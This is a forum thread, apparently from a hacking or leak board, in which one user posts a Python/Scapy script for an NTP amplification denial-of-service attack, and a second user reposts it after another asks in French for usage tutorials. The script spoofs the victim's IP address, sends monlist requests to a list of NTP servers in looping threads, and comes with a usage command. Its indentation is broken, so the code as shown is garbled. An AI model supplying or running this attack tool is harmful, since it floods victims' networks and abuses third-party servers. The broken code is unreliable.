Layer 4 NTP (Python)

[MWHAX7]

#!/usr/bin/env python
from scapy.all import *
import sys
import threading
import time
#NTP Amp DOS attack
#usage ntpdos.py <target ip> <ntpserver list> <number of threads> ex: ntpdos.py 1.2.3.4 file.txt 10
#FOR USE ON YOUR OWN NETWORK ONLY
 
 
#packet sender
def deny():
 
 
    global ntplist
    global currentserver
    global data
    global target
ntpserver = ntplist[currentserver] #Get new server
currentserver = currentserver + 1 #Increment for next
packet = IP(dst=ntpserver,src=target)/UDP(sport=48947,dport=123)/Raw(load=data) #BUILD IT
send(packet,loop=1) #SEND IT
 
#So I dont have to have the same stuff twice
def printhelp():
    print "NTP Amplification DOS Attack"
    print "By DaRkReD"
    print "Usage ntpdos.py <target ip> <ntpserver list> <number of threads>"
    print "ex: ex: ntpdos.py 1.2.3.4 file.txt 10"
    print "NTP serverlist file should contain one IP per line"
    print "MAKE SURE YOUR THREAD COUNT IS LESS THAN OR EQUAL TO YOUR NUMBER OF SERVERS"
    exit(0)
 
if len(sys.argv) < 4:
    printhelp()
#Fetch Args
target = sys.argv[1]
 
#Help out idiots
if target in ("help","-h","h","?","--h","--help","/?"):
    printhelp()
 
ntpserverfile = sys.argv[2]
numberthreads = int(sys.argv[3])
#System for accepting bulk input
ntplist = []
currentserver = 0
with open(ntpserverfile) as f:
    ntplist = f.readlines()
 
 
 
 
 
#Make sure we dont out of bounds
if numberthreads > int(len(ntplist)):
    print "Attack Aborted: More threads than servers"
    print "Next time dont create more threads than servers"
exit(0)
 
#Magic Packet aka NTP v2 Monlist Packet
data = "\x17\x00\x03\x2a" + "\x00" * 4
 
#Hold our threads
threads = []
print "Starting to flood: "+ target + " using NTP list: " + ntpserverfile + " With " + str(numberthreads) + " threads"
print "Use CTRL+C to stop attack"
 
#Thread spawner
for n in range(numberthreads):
    thread = threading.Thread(target=deny)
    thread.daemon = True
    thread.start()
 
    threads.append(thread)
 
#In progress!
print "Sending..."
 
#Keep alive so ctrl+c still kills all them threads
while True:
    time.sleep(1)

python ntp.py 127.0.0.1 ntp.txt 5

Source :
http://i.imgur.com/nhXY7S5.png


Source :
http://veryleaks.is/data/MetaMirrorCache/532adcbe6835d9a1ebccde3036af1bbd.png

 

[Amimir]

Yo super merci a toi pour tout ces post mais je suis nouveau dans ce domaine , serait-il possible que tu fasse un ou plusieurs tutoriel ou tu explique comment utiliser ces scripts ? Merci d'avance .

 

[davidchox]

#!/usr/bin/env python
from scapy.all import *
import sys
import threading
import time
#NTP Amp DOS attack
#usage ntpdos.py <target ip> <ntpserver list> <number of threads> ex: ntpdos.py 1.2.3.4 file.txt 10
#FOR USE ON YOUR OWN NETWORK ONLY
 
 
#packet sender
def deny():
 
 
    global ntplist
    global currentserver
    global data
    global target
ntpserver = ntplist[currentserver] #Get new server
currentserver = currentserver + 1 #Increment for next
packet = IP(dst=ntpserver,src=target)/UDP(sport=48947,dport=123)/Raw(load=data) #BUILD IT
send(packet,loop=1) #SEND IT
 
#So I dont have to have the same stuff twice
def printhelp():
    print "NTP Amplification DOS Attack"
    print "By DaRkReD"
    print "Usage ntpdos.py <target ip> <ntpserver list> <number of threads>"
    print "ex: ex: ntpdos.py 1.2.3.4 file.txt 10"
    print "NTP serverlist file should contain one IP per line"
    print "MAKE SURE YOUR THREAD COUNT IS LESS THAN OR EQUAL TO YOUR NUMBER OF SERVERS"
    exit(0)
 
if len(sys.argv) < 4:
    printhelp()
#Fetch Args
target = sys.argv[1]
 
#Help out idiots
if target in ("help","-h","h","?","--h","--help","/?"):
    printhelp()
 
ntpserverfile = sys.argv[2]
numberthreads = int(sys.argv[3])
#System for accepting bulk input
ntplist = []
currentserver = 0
with open(ntpserverfile) as f:
    ntplist = f.readlines()
 
 
 
 
 
#Make sure we dont out of bounds
if numberthreads > int(len(ntplist)):
    print "Attack Aborted: More threads than servers"
    print "Next time dont create more threads than servers"
exit(0)
 
#Magic Packet aka NTP v2 Monlist Packet
data = "\x17\x00\x03\x2a" + "\x00" * 4
 
#Hold our threads
threads = []
print "Starting to flood: "+ target + " using NTP list: " + ntpserverfile + " With " + str(numberthreads) + " threads"
print "Use CTRL+C to stop attack"
 
#Thread spawner
for n in range(numberthreads):
    thread = threading.Thread(target=deny)
    thread.daemon = True
    thread.start()
 
    threads.append(thread)
 
#In progress!
print "Sending..."
 
#Keep alive so ctrl+c still kills all them threads
while True:
    time.sleep(1)

python ntp.py 127.0.0.1 ntp.txt 5

Source :


Source :
http://veryleaks.is/data/MetaMirrorCache/532adcbe6835d9a1ebccde3036af1bbd.png